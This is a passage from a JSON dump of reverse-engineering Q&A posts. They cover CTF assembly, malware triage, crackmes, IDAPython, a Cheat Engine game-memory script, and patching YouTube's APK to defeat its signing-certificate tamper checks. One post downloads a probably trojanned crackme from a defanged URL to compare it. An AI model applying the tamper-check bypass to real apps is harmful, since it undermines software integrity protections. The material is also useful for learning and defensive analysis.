    080486d5  sub     dword [ebp-0x10 {var_14_1} {var_14}], 0x1 \n080486d9  mov     dword [ebp-0xc {var_10_1}], 0x0\n080486e0  jmp     0x804870b\n
    \n\n

    var_14 is the string length of the user input. By this point in the function, we know that the string length has to be at least 20

    \n\n

    So this seems to simply set var_14_1 to var_14-1 and var_10_1 to 0.

    \n\n

    Then we enter the loop.

    \n\n

    The first block of the loop reads:

    \n\n
    0804870b  mov     eax, dword [ebp-0xc {var_10_1}]\n0804870e  cmp     eax, dword [ebp-0x10 {var_14_1}]\n08048711  jbe     0x80486e2\n
    \n\n

    Which seems to say that if var_10_1 is less than var_14_1 continue with the loop.\nThis next block of the loop is where I think I'm not reading the code correctly:

    \n\n
    080486e2  mov     edx, dword [ebp+0x8 {arg1}]\n080486e5  mov     eax, dword [ebp-0xc {var_10_1}]\n080486e8  add     eax, edx                  \n080486ea  movzx   edx, byte [eax]               \n080486ed  mov     ecx, dword [ebp+0x8 {arg1}]\n080486f0  mov     eax, dword [ebp-0x10 {var_14_1}]\n080486f3  add     eax, ecx\n080486f5  movzx   eax, byte [eax]\n080486f8  cmp     dl, al                    \n080486fa  je      0x8048703\n
    \n\n

    arg1 is the user input - at this point all the know is that it has to be at least 20 characters long, and the first 4 characters are \"auqa\"

    \n\n

    We need this cmp to succeed (dl == al) for the loop to continue. Otherwise, the code exits the loop and returns EAX to 0x0 (failure). Having said that - if we know that var_10_1 is 0 and var_14_1 is at least 19 at this first pass in the loop, and we add each to arg1 - then how can DL and AL be equal? Am I misunderstanding how add eax, edx and add eax, ecx work?

    \n\n

    I'm not sure where my understanding of the code is incorrect - very much appreciate any tips or pointers. Apologize if this covers basic knowledge - I'm working through these on my own.

    \n\n

    Thank you!

    \n", "Title": "Question relating to learning Assembly through CTF challenges", "Tags": "|disassembly|assembly|x86|", "Answer": "

    This seems to be a search in your string for the first character matching the starting character

    \n\n

    080486e2 mov edx, dword [ebp+0x8 {arg1}] ;arg1 -> edx, Pointer to string\n080486e5 mov eax, dword [ebp-0xc {var_10_1}] ;0-> eax\n080486e8 add eax, edx ;eax = eax + edx, i.e. eax = Pointer to string\n080486ea movzx edx, byte [eax] ; 1st character -> edx (zero extend)
    \n080486ed mov ecx, dword [ebp+0x8 {arg1}] ;arg1-> ecx, Pointer to string\n080486f0 mov eax, dword [ebp-0x10 {var_14_1}] ; var_14_1 -> eax\n080486f3 add eax, ecx ;eax = eax + ecx; Ptr at pos. var_14_1\n080486f5 movzx eax, byte [eax] ; content of that ptr -> eax\n080486f8 cmp dl, al ; are both characters equal?
    \n080486fa je 0x8048703 ; yes (i.e. ZF = 1) jmp to 0x848703\n ; no: continue here\n

    \n" }, { "Id": "18115", "CreationDate": "2018-04-26T18:44:17.973", "Body": "

    Reversing a malware sample and have identified the elf as stripped which seems to be why none of the functions are explicitly named. Also, there are no specified imports listed for some reason. Does not appear to be obfuscated though I could be wrong. The strings are not obfuscated so I have been trying to get my hands dirty in basic analysis by looking up where the strings correspond in disassembly. No doubt I will have to find a way to easily identify these thousands of functions which appear just as numerals rather than explicit names. Any suggestions?

    \n", "Title": "Stripped elf executable with ~3000 unnamed functions", "Tags": "|disassembly|", "Answer": "

    Although many ELF files have a symbol table, it is not required for executing a program by the OS. In particular, statically-linked programs embed all necessary library code inside, making the binary completely independent from any external libraries and able to run stand-alone.

    \n\n

    So you can start by identifying library functions. There are many ways to do it, here's a few suggestuions:

    \n\n
      \n

    • If you know/can guess the compiler and the version used to compile the binary, you can try to match the libraries shipped with the compiler against the binary. GCC often leaves its version string in the binaries (sometimes even stripped ones), for example:

      \n\n

      GCC: (Sourcery G++ Lite 2010.09-58) 4.5.1
      \nGCC: (GNU) 4.8

      • \n

    • you can try looking for strings which identify library source files, function names or other messages which are unique enough to identify the function, e.g.:

      \n\n

      __get_myaddress: ioctl (get interface configuration)
      \nRPC: (unknown error code)

      • \n
    \n\n

    If all else fails or the binary does not use a standard library, you can always fall back to tracking the use of syscalls.

    \n\n

    The binary has to interact with the OS somehow. This is done using so-called syscalls (system calls) - special instructions which invoke OS services. On x86_64, this is done with the syscall instruction, on i386 Linux using int 0x80, while on ARM Linux, the SVC (supervisor call) instruction is used. ARM system calls on EABI systems use numbers starting from 0x900000 which are stored in r7 before invoking the SVC instruction. So, for example, you can search for 0x900004 to find the write syscalls which are likely to be used in output functions.

    \n" }, { "Id": "18124", "CreationDate": "2018-04-29T09:53:19.027", "Body": "

    I am working on a project that requires to modify an existing OSX application's dylib binary (few bytes to correct an obsolete URL). I do not have access to the application source code nor the code signing certificates. After patching the application everything works perfectly except it does not load its application plist file from ~/Library/Preferences.

    \n\n

    Even without patching/modifying the application if I do:

    \n\n
    codesign -s \"Local Codesign\" -f ./lib<name>.dylib\n
    \n\n

    and execute the application it does not read its properties from

    \n\n
    ~/Library/Preferences/<application id>.plist\n
    \n\n

    including previously opened files or connected servers. If I copy back the original (developer signed) dylib then everything works fine: properties are read back again.

    \n\n

    One strange thing: even with my local signed binary which is unable to read the plist file if I change something the changes are written back. So if this is an OSX security related stuff seems it's only affects reads.

    \n\n

    Now my questions and assumptions:

    \n\n
      \n
    • Am I right when I am assuming that this is some kind of OSX security mechanism that ensures application plist data cannot be accessed from a non-same-developer signed binary? If yes, why can it write and protects reads only?
      • \n
    • Does any of you find similar issue when modified an OSX binary?
      • \n
    • How can I debug this behaviour?
      • \n
    • And yes: any solutions?
      • \n
    \n\n

    Any comments and feedbacks are welcome.

    \n", "Title": "OSX User level application Preferences (plist) are not loaded after binary modification", "Tags": "|osx|patching|binary-editing|macos|", "Answer": "

    I could find some hints by googling the error message, e.g.:

    \n\n

    https://stackoverflow.com/a/40705362/422797

    \n\n

    Looks like it's not related to the plist but possibly to some security APIs (e.g. keychain access or SecCodeCheckValidity) used by the program.\nApparently the OS caches signing info based on the file's vnode, and if you replace it in-place that invalidates the signature. The linked answer suggests some workarounds.

    \n" }, { "Id": "18125", "CreationDate": "2018-04-29T10:49:58.463", "Body": "

    I am trying to learn to reverse Engineering , i am very new and my English is very Poor... .I wanting to make this exercise , but can't it , because not receive the hWnd identified from the MessageBox ,it is empty ....

    \n\n

    The screenshot from they\n\"enter

    \n\n

    My screenshot\n\"enter

    \n\n

    I have to want to make this exercise with Ollydbg and Immunty Debugger , but without result... .I working with a Windows 7 , inside a VirtualBox .\nHere Speak what HWND do , what i don't Understande because all crackme.exe which i Downloaded have this parameter NULL.\nCan Please anybody help me and with easy Words explain me how to solve this Problem , Thanks!

    \n", "Title": "Empty Parameter an MessagerBox", "Tags": "|debugging|immunity-debugger|", "Answer": "

    a hWnd to a MessageBox can be NULL

    \n\n

    if you give NULL as an arg it measns the MessageBox is NonModal

    \n\n

    NonModal means you can keep working with the parent application without having to dismiss the MessageBox

    \n\n

    which version of ollydbg are you using if it was v 1.0 it came with a default commandline plugin (alt + f1) where you can type [ebp+8] and get the result

    \n\n

    \"enter

    \n\n

    if you are using v 2.0 use ctrl+g on the respective panes

    \n\n

    if you want to view in dump select dump pane first and then \nhit ctrl+g type in [ebp+8] and follow expression

    \n\n

    or you can use the address relative to option in stack to have a visual

    \n\n

    \"enter

    \n\n

    do not use the executable from octopuslabs it is probably trojanned \nthe exe from crackmes.cf appears to be 1 kb less than that of octopuslabs exe

    \n\n

    anyway at [ebp+8] you wont get the same handle as in the tutorial it will be different for each invocation\njust because you have a different handle does not matter

    \n\n
    C:\\lafarge2>ls -R\n.:\ncrackme.exe  octo\n\n./octo:\nfilehash.py  getoctocrackme.bat\n\nC:\\lafarge2>cat octo\\getoctocrackme.bat\nwget -c hxxp://BEWARE_MALWARE_octopuslabs.io/legend/files/tuts/R4ndom_tutorial_22.zip\nC:\\lafarge2>cd octo\nC:\\lafarge2\\octo>getoctocrackme.bat\n\nLength: 1555447 (1.5M) [application/zip]\nSaving to: 'R4ndom_tutorial_22.zip'\n\nC:\\lafarge2\\octo>e:\\7z\\7z.exe e R4ndom_tutorial_22.zip\n\nEverything is Ok\nFiles: 7\n\nC:\\lafarge2>fc crackme.exe octo\\crackme.exe\nComparing files crackme.exe and OCTO\\CRACKME.EXE\n000000CE: 04 05\n\n0000095F: 79 C9\n^C\nC:\\lafarge2>octo\\filehash.py crackme.exe\n2ef9a7504dddb18f0ecd7fce3a720dc131c6994d\n\nC:\\lafarge2>octo\\filehash.py octo\\crackme.exe\ncdcf6fbbb70010f1c9d4e4b4d2f0dea60f61c50d\n
    \n\n

    an extra section

    \n\n
    C:\\lafarge2>dumpbin /nologo octo\\crackme.exe | tail -n 5 & dumpbin /nologo crackme.exe | tail -n 5\n        8000 .data\n        1000 .r4nd\n        1000 .rdata\n        B000 .rsrc\n        4000 .text\n\n        8000 .data\n        1000 .rdata\n        B000 .rsrc\n        4000 .text\n
    \n" }, { "Id": "18141", "CreationDate": "2018-05-01T05:34:07.110", "Body": "

    I have functions

    \n\n
    foo_0(...,_ v0,...)\nfoo_1(...,_ v1,...)\n...\n
    \n\n

    And, for each (foo_x, _ v_x) pair, I would like to change the type of v_x in the declaration to ANIMAL *, where ANIMAL is a local type.

    \n\n

    I recycled some code from this question, as follow:

    \n\n
    from idaapi import *\n\ntif = tinfo_t()\nget_tinfo2(ea, tif)\n\nfuncdata = func_type_data_t()\ntif.get_func_details(funcdata)\n
    \n\n

    After this I was stuck, as funcdata[i].type is a tinfo_t object which I could not find a way to create/modify easily.

    \n\n

    My last resort would be to use GuessType/GetType and modify the string before SetType, but this might be a tad complicated since some arguments are pointers to functions themselves.

    \n\n

    Any suggestions would be most welcome!

    \n", "Title": "IDA: Changing type of arguments to local type", "Tags": "|ida|idapython|", "Answer": "

    This worked for me (checks might be needed on guess_tinfo and get_func_details)

    \n\n
    tif = idaapi.tinfo_t()\nida_typeinf.guess_tinfo(ea,tif)                     \nfuncdata = idaapi.func_type_data_t()\ntif.get_func_details(funcdata)\ntif2 = idaapi.tinfo_t()\ntif2.get_named_type(idaapi.get_idati(),\"ANIMAL\")       #tif2 = ANIMAL\ntif3 = tinfo_t()\ntif3.create_ptr(tif2)                                  #tif3 = ANIMAL *\nfuncdata[argnum].type = tif3                           #replace corresponding argument\nfunction_tinfo = idaapi.tinfo_t()\nfunction_tinfo.create_func(funcdata)\nidaapi.apply_tinfo2(ea, function_tinfo, idaapi.TINFO_DEFINITE)\n
    \n" }, { "Id": "18144", "CreationDate": "2018-05-01T21:00:53.023", "Body": "

    I've posited a similar question over on the Game Development StackExchange, but I'm going to refine it, elaborate, and piecemeal a more R.E.-specific context with the hope that someone out there has experience with this!

    \n\n

    To start, I'm looking to create a free-fly cam hack where I can move anywhere with forward orientation always being where my mouse is pointing.

    \n\n

    The game I'm hacking (single-player-only) auto-moves the player after tasks are completed; there are no instructions bound to player movement with anything but rotation via mouse. This means I'm building in WASD functionality myself, in a sense. I've found an instruction to inject on which allows me to obtain the XYZ coordinates (which change when the game auto-moves the player) of the camera, as well as its rotation data. Thus, I have the following:

    \n\n
    \n
      \n
    • camX (Plane) -- Value is a float ranging from negative to positive
      • \n
    • camY (Plane) -- Value is a float ranging from negative to positive
      • \n
    • camZ (Up/Down) -- Value is a float ranging from negative to positive
      • \n
    • camH (Horizontal/Yaw) -- Value is a float in degrees from +180 to -180
      • \n
    • camV (Vertical/Pitch) -- Value is a float in degrees clamped to +89 to -89
      • \n
    \n
    \n\n

    With that information, I've written a script in Lua (for use in Cheat Engine) which allows me to bind directions (forward, backward, left, right, up, and down) to keys (W, A, S, D, Q, and E); however, those simply add/subtract to/from XYZ values along with a speed modifier, meaning if I'm facing forward and moving forward, everything is fine. Turning 180 degress with the mouse, though, effectively means back is forward, left is right, etc.

    \n\n

    What I'm looking to achieve is having those directional keys apply to wherever I'm aiming the mouse pointer. So, forward is always where I'm facing, etc.

    \n\n

    What I've done so far is some combination of the following:

    \n\n
      \n
    • Download flycam/freecam scripts from other games and replace relevant instructions/data/etc. with my own.
      • \n
    • Attempt to create my own based on various information I've gathered (example here) and general research of trigonometry and vector calculus as related to game development.
      • \n
    \n\n

    It seems that no matter how much I think I understand what's going on, I've yet to make this work.

    \n\n

    Something I've gathered is that it would really behoove me to find where the game stores/references sin and cos information, such that I don't have to calculate those values on my own via something like math.cos()/math.sin() and possibly converting degrees/radians, etc. And even those manual calculations I've tried haven't worked out, so I'm not sure I fully grasp what I need to there.

    \n\n

    Bearing all of the aforementioned in mind, here are my questions:

    \n\n
    \n

    Question 1: What do sin/cos values tend to look like, and at what point through a camera/coord-related subroutine might I expect to see\n them (whether on the stack, in FPU/XMM registers, etc.)? I've gathered\n that these should be close to where I'm dabbling either in memory or\n within a subroutine, but I'm just not quite sure what I'm looking for.

    \n \n

    Question 2: Are there general approaches through reversing to identify the coordinate system of a game? In the case of the game I'm\n hacking, it's developed in Unreal Engine 4, so I can simply look up\n the engine's coordinate system; however, if I wanted to validate\n such findings (possibly fleshing out if a game is using a custom\n coordinate system instead of the in-built one) or discover anew when\n dealing with a custom engine, how I might I do that? Are they values\n that tend to reside in nearby memory addresses of avatar/camera data,\n or possibly in registers/on the stack in camera-related subroutines?

    \n \n

    Question 3: If I know the coordinate system used in the game, as well as the XYZ and Pitch/Yaw camera values, is there a formulaic way\n I can calculate sin/cos therewith to then use with a speed modifier to\n successfully implement a freecam? This, in the event that I cannot find \n sin/cos within the game to use within my script.

    \n \n

    Question 4: I only have a cursory understanding of the trig/calc I've looked up in trying to understand calculations as related to\n sin/cos. Given a left-hand and right-hand coordinate system with Z\n being up, along with XYZ, Pitch/Yaw data, and a speed modifier, could\n someone possibly walk me through the necessary calculations for making\n forward work in both coordinate systems no matter where the user\n points the mouse? For example, what exactly the sin/cos values are\n comprised of at any given time, how/why they matter, and why you would\n add/sub/mul to appropriately modify XYZ, etc?

    \n
    \n\n

    Apologies for the verbosity and if I'm unknowingly asking questions that require FAR more understanding to adequately answer, but I just wanted to be thorough in explaining my research and efforts up to this point.

    \n\n

    Thank you for any guidance you can provide!

    \n", "Title": "Need help with reverse engineering camera-related information in a video game", "Tags": "|assembly|cheat-engine|lua|", "Answer": "

    After a lot of trial and error, and bits and pieces of the puzzle coming together from a lot of different sources and peoples' help, I'd like to answer my own questions to the extent I feel I'm able to. I hope this helps someone else down the road who runs into this issue.

    \n\n
    \n

    Question 1: What do sin/cos values tend to look like, and at what\n point through a camera/coord-related subroutine might I expect to see\n them (whether on the stack, in FPU/XMM registers, etc.)? I've gathered\n that these should be close to where I'm dabbling either in memory or\n within a subroutine, but I'm just not quite sure what I'm looking for.

    \n
    \n\n

    These values will be the sin and cos of the camera's pitch (vertical movement) and yaw (horizontal movement). They will likely reside somewhere in nearby memory of your camera's pitch/yaw addresses, or within registers while pitch/yaw are being calculated within a subroutine. A game can represent pitch and yaw in either degrees or radians.

    \n\n

    Examples of pitch:

    \n\n

    Range in degrees: -89 to 89 (Example of a clamped range, to avoid flipping)

    \n\n

    Same range in radians: -1.55334 to 1.55334

    \n\n

    Examples of yaw:

    \n\n

    Range in degrees: -180 to 180 (Equaling 360 degrees total)

    \n\n

    Same range in radians: -3.14159 to 3.14159

    \n\n

    If the game you're reversing has its values stored as degrees, depending on how you plan to calculate sin/cos, you may need to convert degrees to radians. Since Lua is what I used, its degrees-to-radians function is math.rad(). So, math.rad(180) would give us a conversion from 180 degrees to 3.14159 radians.

    \n\n

    With this value, we can now utilize Lua's math.cos() and math.sin() functions. Suppose we are looking for the sin and cos of the camera's yaw while it's at 63 degrees. The values we would be looking for in memory, on the stack, or in registers are 0.4539 (cosine, or math.cos(63)) and 0.891007 (sine, or math.sin(63)), respectively.

    \n\n

    From a formulaic perspective, here's how we could set variables to give us sin and cos of a camera's yaw in Lua, provided we know the address the value is stored in:

    \n\n

    --Read and store value from camera yaw memory address\nlocal camYaw = readFloat(\"[cameraBase+1D0]\")

    \n\n

    --Convert yaw to radians, then calculate cosine\nlocal camYawCos = math.cos(math.rad(camYaw))

    \n\n

    --Convert yaw to radians, then calculate sine\nlocal camYawSin = math.sin(math.rad(camYaw))

    \n\n

    Remember, if the game you're reversing already has its values stored as radians, you don't have to worry about the step of converting degrees to radians!

    \n\n

    The formulas above can help you figure out where certain values are residing by allowing you to calculate the values yourself, then simply look for them in memory, on the stack, or in registers.

    \n\n
    \n

    Question 2: Are there general approaches through reversing to identify\n the coordinate system of a game?

    \n
    \n\n

    I'm still uncertain about this at the moment. You can figure it out by seeing how your calculations act once you've discovered XYZ Pitch/Yaw, but that's not quite the answer I'd like to know with this. I'll update this answer if/when I figure this out.

    \n\n
    \n

    Question 3: If I know the coordinate system used in the game, as well\n as the XYZ and Pitch/Yaw camera values, is there a formulaic way I can\n calculate sin/cos therewith to then use with a speed modifier to\n successfully implement a freecam? This, in the event that I cannot\n find sin/cos within the game to use within my script.

    \n \n

    Question 4: I only have a cursory understanding of the trig/calc I've\n looked up in trying to understand calculations as related to sin/cos.\n Given a left-hand and right-hand coordinate system with Z being up,\n along with XYZ, Pitch/Yaw data, and a speed modifier, could someone\n possibly walk me through the necessary calculations for making forward\n work in both coordinate systems no matter where the user points the\n mouse? For example, what exactly the sin/cos values are comprised of\n at any given time, how/why they matter, and why you would add/sub/mul\n to appropriately modify XYZ, etc?

    \n
    \n\n

    I'm going to tie both of these together with the script I ended up creating.

    \n\n

    First, credit where credit is due. I used SunBeam's Assassin's Creed: Origins script as an initial template. Also, I found examples from the fine individuals contributing to this post to be very illuminating along the way--as well as the answer here by GuidedHacking, and the answer by DMGregory where I initially posted my inquiry. Lastly, this colossal work by Frans Bouma on game camera reversing is a wonderful reference for anyone looking to broach this topic.

    \n\n

    Now, in a left-hand coordinate system, all you should need to plug into this script is the camera's XYZ coordinates, as well as the camera's pitch and yaw. You can change the speed modifier to whatever you would like. I have keys bound to make the camera move faster and slower, and I've also implemented strafing, so you can move diagonally as you rotate.

    \n\n

    This is a Lua script, created to run in Cheat Engine. The top of the script uses a Cheat Engine function to allocate memory to store the speed modifier value within. I've commented everything copiously, so you should find it relatively easy to convert this to your high-level language of choice if need be!

    \n\n
    globalalloc(speedModifier,8) --Allocate 8 bytes memory\nspeedModifier:\ndd (float)2 --Store a float of 2\n\n{$lua} --Tells Cheat Engine to treat everything beneath as Lua\n\n[ENABLE] --Everything beneath this happens when this script is enabled\n\nfunction checkKeys(timer) --Check keys for input (check on a timer)\n\n--Speed modifier value, read from memory location we allocated earlier\nlocal speed = readFloat(\"speedModifier\")\n\n--Camera coordinates stored in variables\nlocal camx = readFloat(\"[camBase]+1A0\") -- Camera X\nlocal camy = readFloat(\"[camBase]+1A8\") -- Camera Y\nlocal camz = readFloat(\"[camBase]+1A4\") -- Camera Z\n\n--Mouse rotation in radians\n--Use math.rad() to convert from degrees if necessary\nlocal rotv = math.rad(readFloat(\"[camBase]+1D0\")) -- Vertical (Pitch)\nlocal roth = math.rad(readFloat(\"[camBase]+1D4\")) -- Horizontal (Yaw)\n\n--Sine and Cosine of Rotation Values\nlocal sinh = math.sin(roth) -- Sine of Horizontal (Yaw)\nlocal cosh = math.cos(roth) -- Cosine of Horizontal (Yaw)\nlocal sinv = math.sin(rotv) -- Sine of Vertical (Pitch)\nlocal cosv = math.cos(rotv) -- Cosine of Vertical (Pitch)\n\n  --Hotkey Setup\n  --[[\n        Button Mappings:\n\n        Y - Forward\n        G - Left\n        H - Backward\n        J - Right\n        T - Down\n        U - Up\n        C - Speed Up\n        Alt - Slow Down\n\n      --Key combinations for strafing are also defined\n      --Keys are oriented to where mouse is pointing\n  ]]\n\n  --Forward\n  if isKeyPressed(VK_Y) then\n    writeFloat(\"[camBase]+1A0\", camx + (cosh * speed))\n    writeFloat(\"[camBase]+1A8\", camy + (sinv * speed))\n    writeFloat(\"[camBase]+1A4\", camz + (sinh * speed))\n  end\n  --Left\n  if isKeyPressed(VK_G) then\n    writeFloat(\"[camBase]+1A0\", camx + (math.cos(roth - math.rad(90)) * speed))\n    writeFloat(\"[camBase]+1A4\", camz + (math.sin(roth - math.rad(90)) * speed))\n  end\n  --Back\n  if isKeyPressed(VK_H) then\n    writeFloat(\"[camBase]+1A0\", camx - (cosh * speed))\n    writeFloat(\"[camBase]+1A8\", camy - (sinv * speed))\n    writeFloat(\"[camBase]+1A4\", camz - (sinh * speed))\n  end\n  --Right\n  if isKeyPressed(VK_J) then\n    writeFloat(\"[camBase]+1A0\", camx - (math.cos(roth - math.rad(90)) * speed))\n    writeFloat(\"[camBase]+1A4\", camz - (math.sin(roth - math.rad(90)) * speed))\n  end\n  --Forward/Right\n  if isKeyPressed(VK_Y) and isKeyPressed(VK_J) then\n    writeFloat(\"[camBase]+1A0\", camx + (math.cos(roth + math.rad(45)) * speed))\n    writeFloat(\"[camBase]+1A8\", camy + (sinv * speed))\n    writeFloat(\"[camBase]+1A4\", camz + (math.sin(roth + math.rad(45)) * speed))\n  end\n  --Forward/Left\n  if isKeyPressed(VK_Y) and isKeyPressed(VK_G) then\n    writeFloat(\"[camBase]+1A0\", camx + (math.cos(roth - math.rad(45)) * speed))\n    writeFloat(\"[camBase]+1A8\", camy + (sinv * speed))\n    writeFloat(\"[camBase]+1A4\", camz + (math.sin(roth - math.rad(45)) * speed))\n  end\n  --Back/Left\n  if isKeyPressed(VK_H) and isKeyPressed(VK_J) then\n    writeFloat(\"[camBase]+1A0\", camx - (math.cos(roth - math.rad(45)) * speed))\n    writeFloat(\"[camBase]+1A8\", camy - (sinv * speed))\n    writeFloat(\"[camBase]+1A4\", camz - (math.sin(roth - math.rad(45)) * speed))\n  end\n  --Back/Right\n  if isKeyPressed(VK_H) and isKeyPressed(VK_G) then\n    writeFloat(\"[camBase]+1A0\", camx - (math.cos(roth + math.rad(45)) * speed))\n    writeFloat(\"[camBase]+1A8\", camy - (sinv * speed))\n    writeFloat(\"[camBase]+1A4\", camz - (math.sin(roth + math.rad(45)) * speed))\n  end\n  --Up\n  if isKeyPressed(VK_U) then\n   writeFloat(\"[camBase]+1A8\", camy + (speed * 0.5))\n  end\n  --Down\n  if isKeyPressed(VK_T) then\n   writeFloat(\"[camBase]+1A8\", camy - (speed * 0.5))\n  end\n\n  --Speed Modifiers\n  if isKeyPressed(VK_C) then --If C is pressed, increase speed; max of 100\n    if (speed < 100) then\n      writeFloat(\"speedModifier\", speed + 1)\n    end\n  elseif isKeyPressed(VK_MENU) then --If Alt is pressed, slow way down\n    writeFloat(\"speedModifier\", .3)\n  else --If nothing is pressed, normal speed\n    writeFloat(\"speedModifier\", 2)\n  end    \nend\n\nt=createTimer(nil)\ntimer_setInterval(t, 10)\ntimer_onTimer(t, checkKeys)\ntimer_setEnabled(t, true)\n\n[DISABLE] --Everything beneath this happens when the script is disabled\n\ntimer_setEnabled(t, false)\n
    \n" }, { "Id": "18148", "CreationDate": "2018-05-02T14:03:24.250", "Body": "

    I downloaded radare 2.5 for windows. I am trying to debug a binary on windows with radare and have tried the following:

    \n\n
    radare2 -d a.exe\nfork_and_ptraceme/CreateProcess: The request is not supported.\nw32_dbg_maps/w32_OpenProcess: The parameter is incorrect.\n[w] Cannot open 'dbg://a.exe' for writing.\n
    \n\n

    I also tried to use gdbserver and use radare to connect remotely. It connects but it gets stuck and I am not able to give it any commands or see anything.

    \n\n

    I am going to try windbg remote as well, however, I am starting to wonder, do I need to install another set of libraries or another type of debugger, or do some additional configuration to make debugging work with radare2. Any suggestions?

    \n", "Title": "Radare2 cannot debug on windows 7", "Tags": "|windows|debugging|gdb|radare2|", "Answer": "

    You are most probably using radare2 version downloaded by following the link on the official website (http://radare.mikelloc.com/get/2.5.0/radare2_installer-msvc_32-2.5.0.exe). The link is to the 32-bit application, but you need to open the directory and download the 64-bit radare2 version.\nJust encountered this issue myself.

    \n" }, { "Id": "18151", "CreationDate": "2018-05-02T21:47:47.757", "Body": "

    I'm trying to unpack some windows driver but I can't load it to memory. I tried OSRLoader, ProcessHacker and my own loader and all returns ERROR_FILE_NOT_FOUND at OpenService. What's strange, other drivers works fine. Unfortunatelly I don't have original dropper, can it be some kind of anti debugging trick? What can be reason?

    \n", "Title": "Cannot load driver to memory", "Tags": "|windows|kernel-mode|driver|", "Answer": "

    This is a filesystem filter driver, it cannot be run just like usual driver by creating a service and then starting it. You need to create inf file and register it properly, only then you'll be able to start its service.\nhttps://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/creating-an-inf-file-for-a-file-system-filter-driver

    \n" }, { "Id": "18165", "CreationDate": "2018-05-04T13:02:51.267", "Body": "

    I try to decompile youtube android application and modify it but when I build the application and install on a virtual device faced with below error:

    \n\n
    E/AndroidRuntime(1782): java.lang.VerifyError: Rejecting class \ncom.google.android.apps.youtube.app.YouTubeApplication because it failed compile-time \nverification (declaration of 'com.google.android.apps.youtube.app.YouTubeApplication' \nappears in /data/ap /com.google.android.youtube-1/base.apk)\n
    \n\n
      \n
    • I use APKTOOL for decompiling and build Smali sources.
      • \n
    • I create a PowerConnectionReceiever.smali and copy it to \ncom\\google\\android\\apps\\youtube\\app\\ directory then try to register my receiver to com\\google\\android\\apps\\youtube\\app\\YouTubeApplication.smali in onCreate method
      • \n
    • also add receiver declaration in AndroidManifest.xml and convert it to bytecode then copy it to youtube project directory
      • \n
    • when I ask about it from the experts they tell me it occurs because of Google Tamper Detection Mechanism.
      • \n
    \n\n

    I want to know about those mechanisms. can anyone help me?

    \n\n

    thanks for helping

    \n\n

    ----------------------- Edit ---------------------

    \n\n

    I just modify signing certificate check in two file anex.smali and nlo.smali and faced with this error when run app:

    \n\n
    E/AndroidRuntime(1665): java.lang.VerifyError: Verifier rejected class\ncom.google.android.apps.youtube.app.YouTubeApplication due to bad method\nvoid com.google.android.apps.youtube.app.YouTubeApplication.onCreate() \n(declaration of 'com.google.android.apps.youtube.app.YouTubeApplication'\nappears in /data/app/com.google.android.youtube-1/base.apk)\n
    \n\n

    AndroidManifest.xml

    \n\n
    <application android:backupAgent=\"com.google.android.apps.youtube.app.application.backup.YouTubeBackupAgent\" \n    android:hardwareAccelerated=\"true\" \n    android:icon=\"@mipmap/ic_launcher\"\n    android:label=\"@string/application_name\"\n    android:largeHeap=\"true\"\n    android:logo=\"@drawable/action_bar_logo_release\"\n    android:name=\"com.google.android.apps.youtube.app.YouTubeApplication\"\n    android:restoreAnyVersion=\"true\"\n    android:roundIcon=\"@mipmap/ic_launcher_round\"\n    android:supportsRtl=\"@bool/supports_rtl\"\n    android:theme=\"@style/Theme.YouTube.Light\">\n    <meta-data android:name=\"android.max_aspect\" android:value=\"2.1\"/>\n    <meta-data android:name=\"com.google.android.backup.api_key\" android:value=\"AEdPqrEAAAAIXi58ScnYbhPAPl8s4DjDkSik7XGKNcn8YqfZFg\"/>\n    <meta-data android:name=\"to.dualscreen\" android:value=\"true\"/>\n    <meta-data android:name=\"com.google.android.apps.youtube.config.BuildType\" android:value=\"RELEASE\"/>\n    <receiver android:enabled=\"true\" android:exported=\"true\" android:name=\"com.google.android.apps.youtube.app.PowerConnectionReceiver\">\n        <intent-filter>\n            <action android:name=\"android.intent.action.ACTION_POWER_CONNECTED\"/>\n            <action android:name=\"android.intent.action.ACTION_POWER_DISCONNECTED\"/>\n        </intent-filter>\n    </receiver>\n
    \n\n

    YouTubeApplication.smali :

    \n\n
    #####MY_CODE####\n.field private mPower:Lcom/google/android/apps/youtube/app/PowerConnectionReceiver;\n.\n.\n.\n.method public onCreate()V\n.\n.\n.\n    .line 101\n     invoke-super {p0}, Lcvu;->onCreate()V\n     #####MY_CODE####\n     new-instance v0, Landroid/content/IntentFilter;\n     invoke-direct {v0}, Landroid/content/IntentFilter;-><init>()V\n     .local v0, \"filter\":Landroid/content/IntentFilter;\n     const-string v1, \"ACTION_POWER_CONNECTED\"\n     invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V\n     new-instance v1, Lcom/google/android/apps/youtube/app/PowerConnectionReceiver;\n     invoke-direct {v1}, Lcom/google/android/apps/youtube/app/PowerConnectionReceiver;-><init>()V\n     move-object/from16 v2, p0\n     iput-object v1, v2, Lcom/google/android/apps/youtube/app/YouTubeApplication;->mPower:Lcom/google/android/apps/youtube/app/PowerConnectionReceiver;\n     iget-object v1, v2, Lcom/google/android/apps/youtube/app/YouTubeApplication;->mPower:Lcom/google/android/apps/youtube/app/PowerConnectionReceiver;\n     invoke-virtual {v2, v1, v0}, Lcom/google/android/apps/youtube/app/YouTubeApplication;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;\n    ...\n.end method\n
    \n\n

    PowerConnectionReceiver.smali :

    \n\n

    \n   .class public Lcom/google/android/apps/youtub/app/PowerConnectionReceiver;\n   .super Landroid/content/BroadcastReceiver;\n   .source \"PowerConnectionReceiver.java\"\n    #direct methods\n   .method public constructor ()V\n       .locals\n       .prologue\n       .line 8\n       invoke-direct {p0}, Landroid/content/BroadcastReceiver;->()V\n       return-void\n   .end method\n   #virtual methods\n   .method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V\n        .locals 3\n        .param p1, \"context\"    # Landroid/content/Context;\n        .param p2, \"intent\"    # Landroid/content/Intent;\n        .prologue\n        .line 11\n        invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;\n        move-result-object v0\n        .line 12\n        .local v0, \"action\":Ljava/lang/String;\n        const-string v1, \"android.intent.action.ACTION_POWER_CONNECTED\"\n        invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z\n        move-result v1\n        if-eqz v1, :cond_0\n        .line 13\n        const-string v1, \"POWER_CONNECTION_MESSAGE\"\n        const/4 v2, 0x1\n        invoke-static {p1, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;\n        move-result-object v1\n        invoke-virtual {v1}, 